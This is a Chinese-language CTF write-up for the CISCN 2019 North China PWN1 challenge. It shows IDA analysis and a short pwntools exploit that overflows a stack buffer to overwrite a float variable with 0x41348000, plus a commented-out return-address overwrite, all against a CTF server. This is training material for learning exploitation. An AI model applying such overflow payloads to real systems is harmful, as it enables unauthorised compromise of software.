164 字
1 分钟
CISCN 2019华北 PWN1
  • 下载附件托入IDA进行分析main: alt text 经过一些前置处理之后会进入func()函数

  • 跟进func()函数: alt text 逻辑很简单,当v2==11.28125时,即可输出flag

  • 分别查看v1和v2的栈: alt text alt text 可以看到v1和v2的距离是0x30-0x4=0x2C

  • 查看func()函数对应汇编代码: alt text ucomiss xmm0, cs:dword_4007F4对应v2 == 11.28125

  • 跟进dword_4007F4进行查看: alt text 红框内容就是11.28125,所以只需要对v1输入垃圾数据实现溢出,覆盖到v2并输入0x41348000即可

  • EXP:

    from pwn import *
    a = remote("node4.anna.nssctf.cn",29705)
    # payload = b"A" * 0x38 + p64(0x4006BE)
    payload = b"A" * 0x2C + p64(0x41348000)
    a.sendline(payload)
    a.interactive()

    alt text

CISCN 2019华北 PWN1
https://lepustimus.github.io/posts/pwn/ciscn2019华北pwn1/
作者
Lepustimidus
发布于
2026-02-26
许可协议
CC BY-NC-SA 4.0